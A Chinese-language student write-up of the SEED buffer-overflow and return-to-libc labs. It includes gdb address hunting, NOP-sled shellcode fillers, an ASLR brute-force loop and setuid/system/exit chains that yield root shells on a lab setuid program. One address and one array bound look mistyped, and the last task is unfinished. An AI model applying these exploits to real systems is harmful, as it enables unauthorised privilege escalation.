Lab 2

Buffer Overflow Vulnerability Lab

&

Return-to-libc Attack Lab

Name：程昊

Student Number：57117128

Task1: Running Shellcode

◆ 实验内容：

运行一段 shellcode 以及具有缓冲区溢出漏洞的程序，观察运行结果。

◆ 实验过程：

1. 运行 shellcode

按照手册中的方式编译提供的 call_shellcode.c 代码，并执行，运行结果如下：

```
[09/01/20]seed@VM:~/.../lab2$ gcc -z execstack -o task1 task1.c
[09/01/20]seed@VM:~/.../lab2$ ./task1
$ exit
```

可以看到终端中进入一个新的 shell，证明 shellcode 被成功运行。

2. 缓冲区溢出漏洞

按照实验进行如下操作：

```
[09/01/20]seed@VM:~/.../lab2$ gedit stack.c
[09/01/20]seed@VM:~/.../lab2$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-
protector stack.c
[09/01/20]seed@VM:~/.../lab2$  sudo chown root stack
[09/01/20]seed@VM:~/.../lab2$ sudo chmod 4755 stack
[09/01/20]seed@VM:~/.../lab2$ ./stack
Segmentation fault
[09/01/20]seed@VM:~/.../lab2$
```

上面的程序从 badfile 中读取输入，然后传递到在 bof()的另一个 buffer 中；最初的输入可以有 517bytes，但是 bof()中的 buffer 只有 24bytes。因为 strcpy()不进行边界检查，所以就会出现 buffer overflow。我们的目标就是填充内容到 badfile，使得当程序执行时，可以启动 root shell

Task2: Exploiting the Vulnerability

- 实验内容：

  构造 badfile 的内容，利用缓冲区溢出漏洞成功执行 shellcode。

- 实验过程：

  这里采用粗糙覆盖的方法，即用大量重复的 shellcode 地址和 nop 指令，提高覆盖 return address 所在内存地址数据的概率。这里的基本思路是寻找到 stack 中 str 的内存基址，之后再将 str 的前 100 个字节覆盖为 shellcode 的内存地址(包含 nop 指令，即什么都不做)，str 的第 100-300 个字节覆盖为 NOP，第 300 个字节以后填充 shellcode 的二进制码形式。这样做的基本思想是在字节对齐的情况下通过大量重复 shellcode 地址淹没 return address 地址处的内存数据，相当于一种广撒网的方式。

  首先通过 gdb 反编译 stack 文件寻找 str 的基址。

```
[09/01/20]seed@VM:~/.../lab2$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copy
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ disass main
```

对于 main 函数的反编译结果如下：

```
Dump of assembler code for function main:
   0x080484da <+0>:     lea    ecx,[esp+0x4]
   0x080484de <+4>:     and    esp,0xfffffff0
   0x080484e1 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484e4 <+10>:    push   ebp
   0x080484e5 <+11>:    mov    ebp,esp
   0x080484e7 <+13>:    push   ecx
   0x080484e8 <+14>:    sub    esp,0x214
   0x080484ee <+20>:    sub    esp,0x8
   0x080484f1 <+23>:    push   0x80485d0
   0x080484f6 <+28>:    push   0x80485d2
   0x080484fb <+33>:    call   0x80483a0 <fopen@plt>
   0x08048500 <+38>:    add    esp,0x10
   0x08048503 <+41>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048506 <+44>:    push   DWORD PTR [ebp-0xc]
   0x08048509 <+47>:    push   0x205
   0x0804850e <+52>:    push   0x1
   0x08048510 <+54>:    lea    eax,[ebp-0x211]
   0x08048516 <+60>:    push   eax
   0x08048517 <+61>:    call   0x8048360 <fread@plt>
```

这里并不能直接找到 str 的基址，但是我们可以找到 str 作为参数被传入调用函数的位置，即图片最后一行的 call fread 处，fread 函数从左往右的第一个参数即为 str。函数参数压栈的顺序是从右往左，也就是说，0x088048516 处的指令 push eax 代表传入参数 str，这说明 eax 寄存器保存了 str 的地址。我们在这里设置一个断点，并且运行程序。

```
End of assembler dump.
gdb-peda$ b *0x08048516
Breakpoint 1 at 0x8048516
gdb-peda$ r
```

这时程序会在断点处停止，读取寄存器 eax 的值：

```
Legend: code, data, rodata, value

Breakpoint 1, 0x08048516 in main ()
gdb-peda$ info register eax
eax            0xbfffea77       0xbfffea77
```

Eax 寄存器的值为 0xbfffea77，这个地址保存了字符串 str。

根据以上信息，对 exploit.c 文件进行改写：

```
int i=0, j=100;
for(; i < 100; i+=4){
        strcpy(buffer+i, "\x42\xeb\xff\xbf");
}
for(; j < 300; j++){
        strcpy(buffer+j,"\x90");
}
strcpy(buffer+300, shellcode);
```

保存文件并退出，按照手册中的方式编译运行：

```
[09/01/20]seed@VM:~/.../lab2$ gcc exploit.c -o exploit
[09/01/20]seed@VM:~/.../lab2$ ./exploit
[09/01/20]seed@VM:~/.../lab2$ ./stack
# exit
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

说明成功地利用了缓冲区溢出漏洞使得函数返回时跳转到了预先设定好的 shellcode 处。

◆ 实验结论：

缓冲区溢出的核心思想是定位 return address 的内存地址，并利用已知的地址去覆盖到，这个已知的地址可以帮助我们快速转至 shellcode 处，执行我们的 shellcode。

Task3: Defeating dash's Countermeasure

◆ 实验内容：

绕过 dash shell 的防御机制。

◆ 实验过程：

首先将/bin/sh 的软链接改回 dash：

```
[09/01/20]seed@VM:~/.../lab2$ _sudo ln -sf /bin/dash /bin/sh
```

在注释掉 setuid 语句的情况下运行程序：

```
[09/01/20]seed@VM:~/.../lab2$ gcc task3.c -o task3
[09/01/20]seed@VM:~/.../lab2$ sudo chown root task3
[09/01/20]seed@VM:~/.../lab2$ sudo chmod 4755 task3
[09/01/20]seed@VM:~/.../lab2$ ./task3
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

取消注释：

```
[09/01/20]seed@VM:~/.../lab2$ gcc task3.c -o task3
[09/01/20]seed@VM:~/.../lab2$ sudo chown root task3
[09/01/20]seed@VM:~/.../lab2$ sudo chmod 4755 task3
[09/01/20]seed@VM:~/.../lab2$ ./task3
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

Setuid 可以使程序 uid 变为 0，则可获得 root 权限。

接下来修改 shellcode，重新进行 task2：

```
[09/01/20]seed@VM:~/.../lab2$ gcc exploit.c -o exploit
[09/01/20]seed@VM:~/.../lab2$ ./exploit
[09/01/20]seed@VM:~/.../lab2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

可以看到由 shellcode 调用的 shell 获得了 root 权限。

◆ 实验结论：

新的 shellcode 在调用/bin/sh 前便已通过 setuid(0)获得了 root 权限，所以可以调用/bin/sh(/bin/dash)。

Task4: Defeating Address Randomization

◆ 实验内容：

通过穷举攻击对抗地址随机化。

◆ 实验过程：

首先重新让地址随机化有效：

```
[09/01/20]seed@VM:~/.../lab2$  sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

再次运行 task2：

```
[09/01/20]seed@VM:~/.../lab2$ ./exploit
[09/02/20]seed@VM:~/.../lab2$ ./stack
Segmentation fault
```

这里发生了段错误，因为地址随机化导致我们在 return address 中覆盖的地址并不是 shellcode。

编写循环执行的脚本，执行该脚本，结果如下：

```
The program has been running 31603 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31604 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31605 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31606 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31607 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31608 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 31609 times so far.
#
```

可以看到穷举攻击有效的“搜索”到了 shellcode 的地址。

- 实验结论：

  地址池比较小的时候可以通过穷举搜索的方式对抗地址随机化。

Task5: Turn on the Stack Guard Protection

- 实验内容：

  观察栈保护机制的效果。

- 实验过程：

  打开栈保护机制，再次编译运行 stack 程序：

```
[09/02/20]seed@VM:~/.../lab2$ gcc -o stack -z execstack stack.c
[09/02/20]seed@VM:~/.../lab2$ sudo chown root stack
[09/02/20]seed@VM:~/.../lab2$ sudo chmod 4755 stack
[09/02/20]seed@VM:~/.../lab2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

可以看到程序检测到栈异常，最终被中止。

- 实验结论：

栈保护机制可以有效防止普通的缓冲区溢出漏洞。

Task6: Turn on the Non-executable Stack Protection

- 实验内容：

观察栈不可执行机制的实验效果。

- 实验过程：

重新编译 stack.c 文件：

```
[09/02/20]seed@VM:~/.../lab2$  gcc -o stack -fno-stack-protector -z noexecstack
stack.c
[09/02/20]seed@VM:~/.../lab2$ sudo chown root stack
[09/02/20]seed@VM:~/.../lab2$ sudo chmod 4755 stack
```

再次尝试运行 task2：

```
[09/02/20]seed@VM:~/.../lab2$ ./exploit
[09/02/20]seed@VM:~/.../lab2$ ./stack
Segmentation fault
```

发生了段错误。证明保护机制生效。

- 实验结论：

栈不可执行机制，使得对栈的使用有边界限制，当越界发生的时候，程序就会触发段错误，所以可以避免攻击者通过修改栈利用 buffer overflow 来进行恶意攻击。

Return-to-libc Attack Lab

Task1: Finding out the addresses of libc function

◆ 实验内容：

通过 gdb 找到 libc 库中 system 和 exit 函数地址。

◆ 实验过程：

关闭地址随机化之后，首先按照指定方式编译 retlib.c,并且标记为 set-root-UID 程序。

```
[09/02/20]seed@VM:~/.../lab2$ gcc -fno-stack-protector -z noexecstack -o retlib
retlib.c
[09/02/20]seed@VM:~/.../lab2$ sudo chown root retlib
[09/02/20]seed@VM:~/.../lab2$ sudo chmod 4755 retlib
```

其次再利用 gdb 对其进行调试：

```
[09/02/20]seed@VM:~/.../lab2$ gdb retlib
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retlib...(no debugging symbols found)...done.
```

在 gdb 的控制台首先输入 run，运行程序，其次再通过 p fun 的指令寻找 system 和 exit 的函数地址:

```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffeb42 in ?? ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

◆ 实验结论：

System 函数的地址位于 0xb7e42da0,exit 函数的地址位于 0xb7e369d0。如果目标程序并非 set-UID 程序，则函数的加载地址可能会不同。

Task2: Putting the shell string in the memory

◆ 实验内容：

将字符串/bin/sh 放入内存，并且寻找到它的地址。

◆ 实验过程：

首先创立一个环境变量 MYSHELL，取值为/bin/sh：

```
[09/02/20]seed@VM:~/.../lab2$ export MYSHELL=/bin/sh
[09/02/20]seed@VM:~/.../lab2$ env | grep MYSHELL
MYSHELL=/bin/sh
```

按照手册中的程序编译运行，可以得到字符串的位置：

```
[09/02/20]seed@VM:~/.../lab2$ ./addrrr
bffffdd6
```

再次运行，结果发现没有变化。

```
[09/02/20]seed@VM:~/.../lab2$ ./addrrr
bffffdd6
[09/02/20]seed@VM:~/.../lab2$ ./addrrr
bffffdd6
```

◆ 实验结论：

搜索环境变量 MYSHELL 地址时，要注意搜索程序的名字长度要与 retlib 相同，否则 MYSHELL 的地址会发生偏移。

Task3: Exploiting the buffer-over flow vulnerability

◆ 实验内容：

结合任务 1 和任务 2，进行缓冲区溢出攻击。

◆ 实验过程：

将 task1 和 task2 中获得的地址写入 exploit1.c 文件中：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbfffdd6 ;    //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0 ;   //  system()
  *(long *) &buf[28] = 0xb7e369d0 ;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

再编译运行文件：

```
[09/02/20]seed@VM:~/.../lab2$ gcc -o exploit1 exploit1.c
[09/02/20]seed@VM:~/.../lab2$ ./exploit1
[09/02/20]seed@VM:~/.../lab2$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

缓冲区溢出漏洞被成功利用。

确定 X,Y,Z 值的方法：

利用 gdb 对 bof 函数进行反编译：

```
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x18
   0x080484f1 <+6>:     push   DWORD PTR [ebp+0x8]
   0x080484f4 <+9>:     push   0x12c
   0x080484f9 <+14>:    push   0x1
   0x080484fb <+16>:    lea    eax,[ebp-0x14]
   0x080484fe <+19>:    push   eax
   0x080484ff <+20>:    call   0x8048390 <fread@plt>
   0x08048504 <+25>:    add    esp,0x10
   0x08048507 <+28>:    mov    eax,0x1
   0x0804850c <+33>:    leave
   0x0804850d <+34>:    ret
End of assembler dump.
gdb-peda$
```

可以看出 eax 寄存器保存了 buffer 的地址，值时 ebp-0x14。目前 ebp 的位置是位于 Old ebp 处，可以看到，sub esp，0x18 为 bof 函数开辟了一个 24 字节大小的栈帧，ebp-0x14 处是 buffer 的首地址，这说明 bof 为 buffer 分配的空间大小并不是 12 字节，而是 20 字节。也就是说，在填充 buffer 的时候，包括溢出部分在内，连同 old ebp 的 4 个字节，至少应该有 24 个字节是应该被填充 nop 的。也就是说 exploit1.c 中的 buf 前 24 个字符应该为 nop。从 buf[24]开始，也就是 buf[24-27]，应该填充为 system 的地址，此时 system 的地址正好可以覆盖 bof 的返回地址。

由于函数调用时，在函数自身 ebp 下是 return address 和参数(根据函数的栈结构)，故将 exit()在 buffer 数组中的下标置为 28，参数/bin/sh 在 buffer 数组中的下标置为 32。

◆ 实验结论：

在关闭掉栈保护机制和地址随机化后，可以通过将返回地址覆盖为 system 函数，再调用 shell 实现目标。

Task4: Turning on address randomization

◆ 实验内容：

开启地址随机化，再次运行 retlib，观察运行结果

◆ 实验过程：

首先开启地址随机化：

```
[09/02/20]seed@VM:~/.../lab2$  sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

再次运行./retlib 程序：

```
[09/02/20]seed@VM:~/.../lab2$ ./retlib
Segmentation fault
```

此时产生了段错误。说明地址随机化导致原先寻找到的 system 地址无效化了。其他寻找到的地址也是无效的。

◆ 实验结论：

地址随机化会导致之前 task 所用的攻击方式生效的概率很低(很难一次性正好蒙对三个地址)。

Task5: Defeat Shell's countermeasure

◆ 实验内容：

通过 setuid(0)绕过 dash shell 的保护机制。

◆ 实验过程：

首先找到 setuid 在内存中的地址：

```
gdb-peda$ p setuid
$1 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
```

改写一下 exploit1.c 中 buf 的填充内容(此时直接输入参数 0)

```
*(long *) &buf[24] = 0xb7eb9170 ;    // setuid()
*(long *) &buf[28] = 0x08048606 ;    // pop-ret
*(long *) &buf[32] = 0x00000000 ;    // 0
*(long *) &buf[36] = 0xb7e42da0 ;    //  system()
*(long *) &buf[40] = 0x08048606 ;    // pop-ret
*(long *) &buf[44] = 0xbffffdd6 ;    //  /bin/sh
*(long *) &buf[48] = 0xb7e369d0 ;    //  exit()
```

编译运行：

```
[09/02/20]seed@VM:~/.../lab2$ ./exploit1
[09/02/20]seed@VM:~/.../lab2$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plu
gdev),113(lpadmin),128(sambashare)
# exit
```

Uid=0 说明该 shell 已经获得 root 权限，成功绕开了 dash 的防御机制。

◆ 实验结论：

通过 setuid 函数可以绕开 dash 的防御机制。

Task6: Defeat Shell's countermeasure without putting zeros in input

◆ 实验内容：

尝试在 buf 中不填充二进制 0，实现 task5 的目标。

◆ 实验过程：

不太会做。

◆ 实验结论：